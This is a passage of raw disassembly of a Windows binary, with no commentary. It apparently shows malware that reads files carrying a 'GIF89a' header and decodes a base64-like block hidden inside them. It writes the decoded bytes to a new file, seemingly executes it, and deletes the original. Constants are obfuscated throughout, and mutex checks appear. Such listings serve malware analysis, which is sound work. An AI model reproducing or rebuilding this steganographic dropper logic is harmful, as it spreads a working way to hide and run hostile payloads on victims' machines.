		cmp	dword ptr ds:100121F0h,	0
		jz	short loc_423012
		mov	eax, ds:100121ACh
		sub	eax, 3
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:1000C01Ch


loc_422FF1:				; CODE XREF: sub_422E53+164j
					; sub_422E53+179j
		push	dword ptr ds:1000E610h
		push	dword ptr ds:10011610h
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_41C797
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_423012:				; CODE XREF: sub_422E53+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422E53	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	ebx
		push	esi
		push	edi
		call	sub_41EE5E
		call	sub_41AE1F
		call	sub_422793
		call	sub_41B2E4
		call	sub_422A04
		call	sub_422C2F
		call	sub_41B167
		call	sub_420568


loc_42304B:				; CODE XREF: .data:004230A0j
		call	sub_423BBE
		mov	ebx, eax
		mov	[ebp-45h], bl
		movzx	eax, byte ptr [ebp-45h]
		mov	edx, ds:100121ACh
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_42307B
		mov	eax, ds:10012138h
		add	eax, ds:1001218Ch
		sub	eax, 8
		push	eax
		call	dword ptr ds:10011660h


loc_42307B:				; CODE XREF: .data:00423064j
		movzx	eax, byte ptr [ebp-45h]
		mov	edx, ds:10012108h
		inc	edx
		cmp	eax, edx
		jnz	short loc_4230A2
		mov	eax, ds:100121B4h
		add	eax, 5Ch
		add	eax, ds:100120FCh
		push	eax
		call	dword ptr ds:10011630h
		pop	ecx
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_4230A2:				; CODE XREF: .data:00423088j
		push	100127D4h
		call	sub_4228CE
		mov	[ebp-154h], eax
		push	100127CAh
		call	sub_4228CE
		mov	esi, ds:100121C8h
		movsx	ebx, word ptr ds:100121BCh
		add	esi, ebx
		sub	esi, 7
		push	esi
		push	eax
		mov	esi, [ebp-154h]
		push	esi
		lea	esi, [ebp-144h]
		push	esi
		call	dword ptr ds:10011634h
		lea	eax, [ebp-144h]
		push	eax
		push	0
		push	0
		call	dword ptr ds:1001161Ch
		push	0
		call	dword ptr ds:1000E5E8h
		mov	edi, eax
		push	100127C0h
		call	sub_4228CE
		mov	[ebp-20h], eax
		mov	[ebp-34h], edi
		lea	eax, ds:10007306h
		mov	[ebp-40h], eax
		push	7F00h
		push	0
		call	dword ptr ds:1000F220h
		mov	[ebp-2Ch], eax
		push	7F03h
		push	0
		call	dword ptr ds:10011620h
		mov	[ebp-30h], eax
		and	dword ptr [ebp-24h], 0
		push	0
		call	dword ptr ds:1000D120h
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-44h], 3
		mov	eax, ds:1001217Ch
		add	eax, ds:1001209Ch
		sub	eax, 0Eh
		mov	[ebp-3Ch], eax
		mov	eax, ds:10012164h
		mov	[ebp-38h], eax
		lea	eax, [ebp-44h]
		push	eax
		call	dword ptr ds:1000E0DCh
		push	100127B6h
		call	sub_4228CE
		mov	[ebp-158h], eax
		push	100127ACh
		call	sub_4228CE
		push	0
		push	edi
		push	0
		push	0
		mov	esi, ds:1001217Ch
		sub	esi, 6
		push	esi
		mov	esi, ds:100120C0h
		movsx	ebx, word ptr ds:100120E0h
		add	esi, ebx
		dec	esi
		push	esi
		movsx	esi, word ptr ds:10012100h
		sub	esi, 9
		push	esi
		movsx	esi, word ptr ds:10012168h
		movsx	ebx, word ptr ds:100120DCh
		add	esi, ebx
		sub	esi, 0Eh
		push	esi
		push	0CA0000h
		push	eax
		mov	esi, [ebp-158h]
		push	esi
		mov	esi, ds:1001209Ch
		add	esi, ds:100120A4h
		sub	esi, 0Ah
		push	esi
		call	dword ptr ds:10010648h
		mov	ds:1000E60Ch, eax
		lea	eax, [ebp-148h]
		push	eax
		push	edi
		call	sub_41B740
		add	esp, 2Ch
		mov	[ebp-14Ch], eax
		mov	ds:10011610h, eax
		mov	eax, [ebp-148h]
		mov	ds:1000E610h, eax
		call	sub_41A748
		lea	eax, [ebp-150h]
		push	eax
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:10012160h
		sub	eax, 11h
		push	eax
		push	0
		push	100058A2h
		mov	eax, ds:100121C4h
		sub	eax, 5
		push	eax
		push	0
		call	dword ptr ds:10011B90h
		push	eax
		call	dword ptr ds:10010650h
		call	sub_41B939
		call	sub_4202BE
		jmp	short loc_423276
; ---------------------------------------------------------------------------


loc_423262:				; CODE XREF: .data:0042329Aj
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1001177Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1000C050h


loc_423276:				; CODE XREF: .data:00423260j
		movsx	eax, word ptr ds:10012114h
		sub	eax, 2
		push	eax
		movsx	eax, word ptr ds:10012170h
		sub	eax, 8
		push	eax
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1000F368h
		or	eax, eax
		jnz	short loc_423262
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A3	proc near		; CODE XREF: sub_41DEB9+219p
					; sub_41DEB9+22Bp

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D46	= byte ptr -30D46h
var_30D43	= byte ptr -30D43h
var_30D41	= byte ptr -30D41h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D3B	= byte ptr -30D3Bh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		mov	eax, ds:10012138h
		add	eax, ds:10012174h
		sub	eax, 11h
		push	eax
		push	3
		push	0
		mov	eax, ds:1001218Ch
		dec	eax
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10011788h
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_423762
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		movsx	eax, word ptr ds:10012114h
		mov	edx, ds:10012120h
		lea	eax, [eax+edx+80h]
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000C028h
		mov	[ebp+var_30E44], eax
		mov	eax, ds:1001217Ch
		add	eax, ds:1001212Ch
		sub	eax, 0Bh
		cmp	[ebp+var_30E44], eax
		jz	loc_423744
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_42337D
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_42337D
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_42337D
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_42337D
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_42337D
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_423382


loc_42337D:				; CODE XREF: sub_4232A3+ABj
					; sub_4232A3+B4j ...
		jmp	loc_423744
; ---------------------------------------------------------------------------


loc_423382:				; CODE XREF: sub_4232A3+D8j
		movzx	eax, [ebp+var_30E15]
		mov	edx, ds:100121C0h
		add	edx, 35h
		add	edx, ds:100121B8h
		cmp	eax, edx
		jnz	short loc_4233AE
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_4233AE
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_4233B3


loc_4233AE:				; CODE XREF: sub_4232A3+F7j
					; sub_4232A3+100j
		jmp	loc_423744
; ---------------------------------------------------------------------------


loc_4233B3:				; CODE XREF: sub_4232A3+109j
		or	ebx, ebx
		jnz	short loc_4233E2
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_424013
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_423744


loc_4233E2:				; CODE XREF: sub_4232A3+112j
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000C028h
		mov	[ebp+var_30E44], eax
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:100120A0h
		sub	eax, 0Dh
		cmp	[ebp+var_30E44], eax
		jz	loc_423744
		mov	eax, [ebp+var_30E4C]
		mov	edx, ds:1001210Ch
		movsx	ecx, word ptr ds:100120D8h
		add	edx, ecx
		sub	edx, 0Ch
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_423767
		add	esp, 0Ch
		mov	esi, eax
		mov	edi, ds:100120D4h
		dec	edi
		jmp	short loc_4234AF
; ---------------------------------------------------------------------------


loc_42346A:				; CODE XREF: sub_4232A3+20Ej
		or	ebx, ebx
		jz	short loc_423481
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_4234AE
; ---------------------------------------------------------------------------


loc_423481:				; CODE XREF: sub_4232A3+1C9j
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_4234AE:				; CODE XREF: sub_4232A3+1DCj
		inc	edi


loc_4234AF:				; CODE XREF: sub_4232A3+1C5j
		cmp	edi, esi
		jb	short loc_42346A
		or	ebx, ebx
		jz	short loc_4234E3
		mov	eax, ds:100120E4h
		add	eax, ds:100120FCh
		sub	eax, 8
		mov	edx, esi
		sub	edx, eax
		movsx	eax, word ptr ds:100120F4h
		movsx	ecx, word ptr ds:10012148h
		add	eax, ecx
		sub	eax, 0Ch
		mov	[ebp+edx+var_30D40], al


loc_4234E3:				; CODE XREF: sub_4232A3+212j
		movsx	eax, word ptr ds:10012100h
		mov	edx, ds:10012134h
		lea	eax, [eax+edx+77h]
		movsx	edx, word ptr ds:10012154h
		sub	edx, 8
		mov	[ebp+eax+var_30E3F], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_423767
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41C68E
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		movsx	eax, word ptr ds:100120D8h
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jnz	loc_423744
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_423695
		mov	eax, ds:10012124h
		cmp	[ebp+eax+var_30D41], 64h
		jnz	loc_423609
		movzx	eax, [ebp+var_30D3F]
		mov	edx, ds:100121C4h
		add	edx, 1Bh
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_4223D9
		mov	eax, ds:10012130h
		movsx	edx, word ptr ds:100120F4h
		add	eax, edx
		sub	eax, 9
		mov	ds:1000E61Ch, eax
		mov	eax, ds:10012178h
		movsx	edx, word ptr ds:10012090h
		add	eax, edx
		sub	eax, 4
		mov	ds:10012290h, eax
		mov	eax, ds:10012164h
		add	eax, ds:10012160h
		movsx	edx, word ptr ds:10012090h
		movsx	ecx, word ptr ds:100120E0h
		add	edx, ecx
		dec	edx
		mov	[ebp+eax+var_30D46], dl
		mov	eax, ds:100121A0h
		add	eax, ds:100120F0h
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41B58F
		add	esp, 10h


loc_423609:				; CODE XREF: sub_4232A3+2CCj
		mov	eax, ds:10012104h
		add	eax, ds:10012108h
		cmp	[ebp+eax+var_30D43], 67h
		jnz	loc_423744
		mov	eax, ds:1001212Ch
		movsx	edx, word ptr ds:10012154h
		sub	edx, 8
		mov	[ebp+eax+var_30D3B], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	dword ptr ds:1000C054h
		mov	[ebp+var_61D9C], eax
		push	eax
		push	10011670h
		call	sub_41E5D9
		mov	eax, ds:10012138h
		sub	eax, 8
		mov	ds:1000E61Ch, eax
		mov	eax, ds:10012098h
		sub	eax, 7
		mov	ds:10012290h, eax
		movsx	eax, word ptr ds:1001219Ch
		add	eax, ds:1001211Ch
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41B58F
		add	esp, 14h
		jmp	loc_423744
; ---------------------------------------------------------------------------


loc_423695:				; CODE XREF: sub_4232A3+2B9j
		mov	eax, ds:100121B0h
		add	eax, 4
		add	eax, ds:10012178h
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_422857
		push	100127A4h
		call	sub_4228CE
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	dword ptr ds:1000C020h
		push	0
		push	80h
		push	2
		push	0
		movsx	eax, word ptr ds:100120E8h
		add	eax, ds:1001212Ch
		sub	eax, 0Ah
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:10011788h
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	dword ptr ds:10011B8Ch
		push	[ebp+var_61C98]
		call	dword ptr ds:10010650h
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:1000E0E0h
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_41E21C
		add	esp, 18h


loc_423744:				; CODE XREF: sub_4232A3+9Ej
					; sub_4232A3:loc_42337Dj ...
		push	[ebp+var_30E48]
		call	dword ptr ds:10010650h
		cmp	[ebp+var_30F50], 0
		jz	short loc_423762
		push	[ebp+arg_0]
		call	dword ptr ds:1000C008h


loc_423762:				; CODE XREF: sub_4232A3+4Dj
					; sub_4232A3+4B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4232A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423767	proc near		; CODE XREF: .data:00422D7Ep
					; sub_4232A3+1B4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:10012150h
		sub	eax, 5
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_423890
; ---------------------------------------------------------------------------


loc_423795:				; CODE XREF: sub_423767+131j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, ds:1001234Ch[edx]
		mov	eax, ds:100120A4h
		add	eax, ds:100120C0h
		sub	eax, 2
		neg	eax
		cmp	esi, eax
		jz	loc_42388F
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_42388C
		cmp	eax, 3
		jg	loc_42388C
		jmp	dword ptr ds:1001274Ch[eax*4]
; ---------------------------------------------------------------------------
		db 0FFh, 45h, 0F8h
		dd 0AFE9h, 0F4558B00h, 20CC0D8Bh, 0D031001h, 10012190h
		dd 8902E983h, 89E0D3D0h, 0F289E845h, 8B30E283h,	120A00Dh
		dd 300D0310h, 89100121h, 8BF8D3D0h, 0C209E855h,	89F35588h
		dd 558A43D8h, 0FF1088F3h, 6CEBF845h, 83F4558Bh,	0BF0F0FE2h
		dd 120F40Dh, 5E98310h, 0E0D3D089h, 89E44589h, 3CE283F2h
		dd 20B80D8Bh, 0E9831001h, 0D3D08902h, 0E4558BF8h, 5588C209h
		dd 43D889F3h, 88F3558Ah, 0F845FF10h, 558B2EEBh,	3E283F4h
		dd 680DBF0Fh, 83100121h, 0D08902E9h, 0C289E0D3h, 5588F209h
		dd 43D889F3h, 88F3558Ah, 20B8A110h, 0E8831001h,	0F8458904h
; ---------------------------------------------------------------------------


loc_42388C:				; CODE XREF: sub_423767+58j
					; sub_423767+61j
		mov	[ebp+var_C], esi


loc_42388F:				; CODE XREF: sub_423767+4Dj
		inc	edi


loc_423890:				; CODE XREF: sub_423767+29j
		cmp	byte ptr [edi],	0
		jz	short loc_42389E
		cmp	ebx, [ebp+var_4]
		jb	loc_423795


loc_42389E:				; CODE XREF: sub_423767+12Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_4238AA
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_4238BA
; ---------------------------------------------------------------------------


loc_4238AA:				; CODE XREF: sub_423767+13Aj
		mov	eax, ds:100121ACh
		add	eax, ds:100120E4h
		sub	eax, 5
		neg	eax


loc_4238BA:				; CODE XREF: sub_423767+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4238BF	proc near		; CODE XREF: sub_4202BE+184p
					; sub_4202BE+202p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, ds:10012164h
		lea	eax, [ebp+var_4]
		push	eax
		push	100138DCh
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, ds:10012138h
		add	eax, ds:100120F8h
		sub	eax, 0Ah
		cmp	edi, eax
		jz	short loc_4238FB
		xor	eax, eax
		jmp	short loc_423965
; ---------------------------------------------------------------------------


loc_4238FB:				; CODE XREF: sub_4238BF+36j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		movsx	eax, word ptr ds:10012100h
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_42395A
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, ds:10012138h
		add	eax, ds:100120ECh
		sub	eax, 0Dh
		cmp	edi, eax
		jnz	short loc_423951
		mov	eax, ds:10012164h
		movsx	edx, word ptr ds:10012100h
		mov	esi, eax
		add	esi, edx
		sub	esi, 8


loc_423951:				; CODE XREF: sub_4238BF+7Dj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_42395A:				; CODE XREF: sub_4238BF+5Aj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_423965:				; CODE XREF: sub_4238BF+3Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4238BF	endp

; ---------------------------------------------------------------------------
		dw 1B8h
		dd 0C2800040h
		db 8, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423972	proc near		; CODE XREF: sub_41C68E+C5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		movsx	eax, word ptr ds:1001216Ch
		add	eax, ds:100120F0h
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10010630h
		pop	ebp
		retn
sub_423972	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423996	proc near		; CODE XREF: sub_4242A2+239p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	1
		push	[ebp+arg_4]
		call	sub_41BB8D
		add	esp, 8
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_423BB9
		mov	[ebp+var_18], 8
		push	10012794h
		call	sub_41F3E4
		pop	ecx
		push	eax
		call	dword ptr ds:1000C044h
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word ptr ds:100120D8h
		movsx	edx, word ptr ds:100120E8h
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_423B9D
		lea	eax, [ebp+var_3C]
		push	eax
		push	1001391Ch
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012194h
		add	eax, ds:10012174h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_423B94
		mov	[ebp+var_30], 2
		mov	eax, ds:100120CCh
		dec	eax
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:100120F4h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_423B8B
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	1001390Ch
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		cmp	ebx, ds:10012164h
		jnz	loc_423B82
		inc	dword ptr ds:1000E61Ch
		mov	eax, ds:10012160h
		add	eax, 2
		cmp	ds:1000E61Ch, eax
		jb	short loc_423AE8
		mov	eax, ds:100121B8h
		add	eax, 2
		add	eax, ds:100120ECh
		mov	ds:1000E61Ch, eax
		push	[ebp+var_4]
		call	sub_41C561
		pop	ecx
		jmp	loc_423B79
; ---------------------------------------------------------------------------


loc_423AE8:				; CODE XREF: sub_423996+12Fj
		mov	eax, ds:1001218Ch
		dec	eax
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	dword ptr ds:1001063Ch
		call	sub_41B0D6
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	dword ptr ds:1000C018h
		call	sub_41B0D6
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_423B39
		cmp	[ebp+var_34], 0
		jz	short loc_423B39
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_41E9E2
		add	esp, 10h


loc_423B39:				; CODE XREF: sub_423996+186j
					; sub_423996+18Cj
		cmp	[ebp+var_40], 0
		jz	short loc_423B5A
		cmp	[ebp+var_38], 0
		jz	short loc_423B5A
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_41E9E2
		add	esp, 10h


loc_423B5A:				; CODE XREF: sub_423996+1A7j
					; sub_423996+1ADj
		push	[ebp+var_34]
		call	dword ptr ds:1000E618h
		push	[ebp+var_38]
		call	dword ptr ds:1000E618h
		push	0
		push	[ebp+arg_4]
		call	sub_41BB8D
		add	esp, 8


loc_423B79:				; CODE XREF: sub_423996+14Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_423B82:				; CODE XREF: sub_423996+115j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_423B8B:				; CODE XREF: sub_423996+EDj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_423B94:				; CODE XREF: sub_423996+9Fj
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_423B9D:				; CODE XREF: sub_423996+6Fj
		lea	eax, [ebp+var_18]
		push	eax
		call	dword ptr ds:10011BA0h
		mov	eax, ds:100120D4h
		add	eax, ds:1001210Ch
		sub	eax, 8
		cmp	ebx, eax
		jz	short $+2


loc_423BB9:				; CODE XREF: sub_423996+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423996	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BBE	proc near		; CODE XREF: .data:00420FC6p
					; .data:loc_42304Bp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:100120ACh
		mov	edi, eax
		add	edi, ds:10012174h
		sub	edi, 0Bh
		jmp	loc_423C62
; ---------------------------------------------------------------------------


loc_423BDF:				; CODE XREF: sub_423BBE+AEj
		push	10012788h
		call	sub_4228CE
		mov	[ebp+var_108], eax
		push	1001277Eh
		call	sub_4228CE
		mov	esi, ds:10012124h
		movsx	ebx, word ptr ds:100120E8h
		add	esi, ebx
		sub	esi, 5
		push	esi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10011634h
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	1F0001h
		call	dword ptr ds:10010644h
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_423C61
		push	eax
		call	dword ptr ds:10010650h
		mov	eax, ds:100120FCh
		sub	eax, 6
		cmp	edi, eax
		jnz	short loc_423C5A
		xor	eax, eax
		inc	eax
		jmp	short loc_423C74
; ---------------------------------------------------------------------------


loc_423C5A:				; CODE XREF: sub_423BBE+95j
		mov	eax, 2
		jmp	short loc_423C74
; ---------------------------------------------------------------------------


loc_423C61:				; CODE XREF: sub_423BBE+82j
		inc	edi


loc_423C62:				; CODE XREF: sub_423BBE+1Cj
		mov	eax, ds:10012164h
		add	eax, 64h
		cmp	edi, eax
		jb	loc_423BDF
		xor	eax, eax


loc_423C74:				; CODE XREF: sub_423BBE+9Aj
					; sub_423BBE+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423BBE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	1001396Ch
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_423CA5
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_423CED
; ---------------------------------------------------------------------------


loc_423CA5:				; CODE XREF: .data:00423C93j
		push	100138ECh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_423CC5
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_423CED
; ---------------------------------------------------------------------------


loc_423CC5:				; CODE XREF: .data:00423CB3j
		push	100138ACh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_423CE5
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_423CED
; ---------------------------------------------------------------------------


loc_423CE5:				; CODE XREF: .data:00423CD3j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_423CED:				; CODE XREF: .data:00423CA3j
					; .data:00423CC3j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


